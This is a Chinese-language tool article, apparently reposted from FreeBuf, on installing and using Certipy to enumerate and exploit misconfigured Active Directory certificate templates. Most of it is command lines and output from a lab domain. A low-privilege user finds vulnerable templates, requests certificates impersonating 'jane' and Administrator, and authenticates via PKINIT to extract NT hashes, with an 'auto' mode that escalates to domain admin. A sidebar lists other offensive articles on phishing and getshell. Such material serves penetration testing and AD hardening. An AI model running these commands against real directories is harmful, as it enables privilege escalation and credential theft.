如何使用Certipy检测活动目录证书安全

0收藏

0点赞

浏览量:810

2022-01-06

举报

关于Certipy
Certipy是一款基于Python开发的强大工具,该工具可以帮助广大研究人员枚举并利用活动目录证书服务(AD CS)中的错误配置项。

工具安装
广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/ly4k/Certipy.git
接下来,在命令行终端中切换至项目根目录,然后运行下列命令即可:

$ python3 setup.py install
别忘了将Python脚本目录添加至系统环境变量路径中。

工具使用
$ certipy -h

usage: certipy [-h] [-debug] [-target-ip ip address] [-nameserver nameserver] [-dns-tcp] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]

target {find,req,auth,auto} ...



Active Directory certificate abuse



positional arguments:

target [[域名/]用户名[:密码]@]<目标名称或地址>

{find,req,auth,auto} 操作

find 查找证书模板

req 请求一份新的证书

auth 使用证书进行认证

auto 自动利用证书实现提权



optional arguments:

-h, --help 显示帮助信息

-debug 开启调试模式输出

-no-pass 不询问密码

-k 使用Kerberos认证。

-dc-ip ip address 目标域控制器的IP地址



connection:

-target-ip ip address

目标设备的IP地址

-nameserver nameserver 用于DNS解析的域名服务器

-dns-tcp 使用TCP代替UDP执行DNS查询



authentication:

-hashes LMHASH:NTHASH

NTLM hashes, format is LMHASH:NTHASH

工具使用样例
自动化
在下面的使用样例中,用户john是一个低权限用户,可以注册Copy of Web Server模板:

$ certipy 'predator/john:Passw0rd@dc.predator.local' auto

[*] Trying template 'Copy of Web Server' with CA 'predator-DC-CA'

[*] Generating RSA key

[*] Requesting certificate

[*] Request success

[*] Got certificate with UPN 'Administrator'

[*] Saved certificate to '1.crt'

[*] Saved private key to '1.key'

[*] Using UPN: 'Administrator@predator'

[*] Trying to get TGT...

[*] Saved credential cache to 'Administrator.ccache'

[*] Trying to retrieve NT hash for 'Administrator@predator'

[*] Got NT hash for 'Administrator@predator': fc525c9683e8fe067095ba2ddc971889
默认情况下,工具会选择Administrator用户,我们也可以使用-user参数来为其他用户创建证书。

查找
find操作将帮助我们查找一个或多个CA启用了的证书模板。

查找漏洞模板

使用-vulnerable参数将搜索存在漏洞的证书模板:

$ certipy 'predator/john:Passw0rd@dc.predator.local' find -vulnerable

[*] Finding vulnerable certificate templates for 'john'

User

Name : predator\john

Groups :

Certificate Authorities

0

CA Name : predator-DC-CA

DNS Name : dc.predator.local

Certificate Subject : CN=predator-DC-CA, DC=predator, DC=local

Certificate Serial Number : 1976D0FEFCAFC9A84D02D305FA88D84D

Certificate Validity Start : 2021-10-06 11:32:01+00:00

Certificate Validity End : 2026-10-06 11:42:01+00:00

User Specified SAN : Disabled

CA Permissions

Owner : BUILTIN\Administrator

Access Rights

ManageCertificates : BUILTIN\Administrator

predator\Domain Admins

predator\Enterprise Admins

ManageCa : BUILTIN\Administrator

predator\Domain Admins

predator\Enterprise Admins

Enroll : Authenticated Users

Vulnerable Certificate Templates

0

CAs : predator-DC-CA

Template Name : Copy of Web Server

Validity Period : 2 years

Renewal Period : 6 weeks

Certificate Name Flag : EnrolleeSuppliesSubject

Enrollment Flag : None

Authorized Signatures Required : 0

Extended Key Usage :

Permissions

Enrollment Permissions

Enrollment Rights : predator\Domain Admins

predator\Enterprise Admins

Authenticated Users

Object Control Permissions

Owner : predator\Administrator

Write Owner Principals : predator\Domain Admins

predator\Enterprise Admins

predator\Administrator

Write Dacl Principals : predator\Domain Admins

predator\Enterprise Admins

predator\Administrator

Write Property Principals : predator\Domain Admins

predator\Enterprise Admins

predator\Administrator

Vulnerable Reasons : 'Authenticated Users' can enroll, enrollee supplies subject and template allows authentication

'Authenticated Users' can enroll and template has dangerous EKU
使用-user参数将查找指定用户相关的存在漏洞的证书模板,默认配置下使用的是当前用户。

查找所有模板

$ certipy 'predator/john:Passw0rd@dc.predator.local' find

[*] Finding certificate templates for 'john'

User

Name : predator\john

Groups :

Certificate Authorities

0

CA Name : predator-DC-CA

DNS Name : dc.predator.local

Certificate Subject : CN=predator-DC-CA, DC=predator, DC=local

Certificate Serial Number : 1976D0FEFCAFC9A84D02D305FA88D84D

Certificate Validity Start : 2021-10-06 11:32:01+00:00

Certificate Validity End : 2026-10-06 11:42:01+00:00

User Specified SAN : Disabled

CA Permissions

Owner : BUILTIN\Administrator

Access Rights

ManageCertificates : BUILTIN\Administrator

predator\Domain Admins

predator\Enterprise Admins

ManageCa : BUILTIN\Administrator

predator\Domain Admins

predator\Enterprise Admins

Enroll : Authenticated Users

Certificate Templates

0

CAs : predator-DC-CA

Template Name : User

Validity Period : 1 year

Renewal Period : 6 weeks

Certificate Name Flag : SubjectRequireDirectoryPath

SubjectRequireEmail

SubjectAltRequireEmail

SubjectAltRequireUpn

Enrollment Flag : AutoEnrollment

PublishToDs

IncludeSymmetricAlgorithms

Authorized Signatures Required : 0

Extended Key Usage : Encrypting File System

Secure Email

Client Authentication

Permissions

Enrollment Permissions

Enrollment Rights : predator\Domain Admins

predator\Domain Users

predator\Enterprise Admins

Object Control Permissions

Owner : predator\Enterprise Admins

Write Owner Principals : predator\Domain Admins

predator\Enterprise Admins

Write Dacl Principals : predator\Domain Admins

predator\Enterprise Admins

Write Property Principals : predator\Domain Admins

predator\Enterprise Admins

[...]

11

CAs : predator-DC-CA

Template Name : Copy of Web Server

Validity Period : 2 years

Renewal Period : 6 weeks

Certificate Name Flag : EnrolleeSuppliesSubject

Enrollment Flag : None

Authorized Signatures Required : 0

Extended Key Usage :

Permissions

Enrollment Permissions

Enrollment Rights : predator\Domain Admins

predator\Enterprise Admins

Authenticated Users

Object Control Permissions

Owner : predator\Administrator

Write Owner Principals : predator\Domain Admins

predator\Enterprise Admins

predator\Administrator

Write Dacl Principals : predator\Domain Admins

predator\Enterprise Admins

predator\Administrator

Write Property Principals : predator\Domain Admins

predator\Enterprise Admins

predator\Administrator
查询请求
用户josh将会以用户jane的身份请求一个有效的身份认证证书,predator-DC-CA已启用了Copy of Web Server:

$ certipy 'predator/john:Passw0rd@dc.predator.local' req -template 'Copy of Web Server' -ca 'predator-DC-CA' -alt 'jane'

[*] Generating RSA key

[*] Requesting certificate

[*] Request success

[*] Got certificate with UPN 'jane'

[*] Saved certificate to '2.crt'

[*] Saved private key to '2.key'
以当前用户身份请求证书

$ certipy 'predator/john:Passw0rd@dc.predator.local' req -template 'User' -ca 'predator-DC-CA'

[*] Generating RSA key

[*] Requesting certificate

[*] Request success

[*] Got certificate with UPN 'john@predator.local'

[*] Saved certificate to '3.crt'

[*] Saved private key to '3.key'
身份认证
auth操作将会使用PKINIT Kerberos扩展来对提供的证书进行身份认证:

$ certipy 'predator/jane@dc.predator.local' auth -cert ./2.crt -key ./2.key

[*] Using UPN: 'jane@predator'

[*] Trying to get TGT...

[*] Saved credential cache to 'jane.ccache'

[*] Trying to retrieve NT hash for 'jane@predator'

[*] Got NT hash for 'jane@predator': 077cccc23f8ab7031726a3b70c694a49
项目地址
https://github.com/ly4k/Certipy

参考资料
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
https://github.com/dirkjanm/PKINITtools


(来源:FreeBuf)

(原文链接:https://mp.weixin.qq.com/s/JiTN8fSarcqSNNeJSW5LFA

发表评论

点击排行

钓鱼邮件-如何快速成为钓鱼达人

一、前言在大型企业边界安全做的越来越好的情况下,不管是 APT 攻击还是红蓝对抗演练,钓鱼邮件攻击使用的...

【渗透实战系列】| 1 -一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

本次渗透实战主要知识点:1.app抓包,寻找后台地址2.上传绕过,上传shell3.回shell地址的分析4.中国蚁剑工...

华为防火墙实战配置教程,太全了

防火墙是位于内部网和外部网之间的屏障,它按照系统管理员预先定义好的规则来控制数据包的进出。防火墙是系...

HTTPS - 如何抓包并破解 HTTPS 加密数据?

HTTPS 在握手过程中,密钥规格变更协议发送之后所有的数据都已经加密了,有些细节也就看不到了,如果常规的...

无线电安全攻防之GPS定位劫持

一、需要硬件设备HackRFHackRF 连接数据线外部时钟模块(TCXO 时钟模块)天线(淘宝套餐中的 700MHz-2700MH...

记一次Fastadmin后台getshell的渗透记录

1.信息搜集先来看看目标站点的各种信息后端PHP,前端使用layui,路由URL规则看起来像ThinkPHP,那自然想到...

ADCS系列之ESC1、ESC8复现

对原理感兴趣的可以去https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf看原文,这里只...

【干货分享】利用MSF上线断网主机的思路分享

潇湘信安&nbsp;Author 3had0w潇湘信安一个不会编程、挖SRC、代码审计的安全爱好者,主要分享一些安全经验、...

扫描二维码下载APP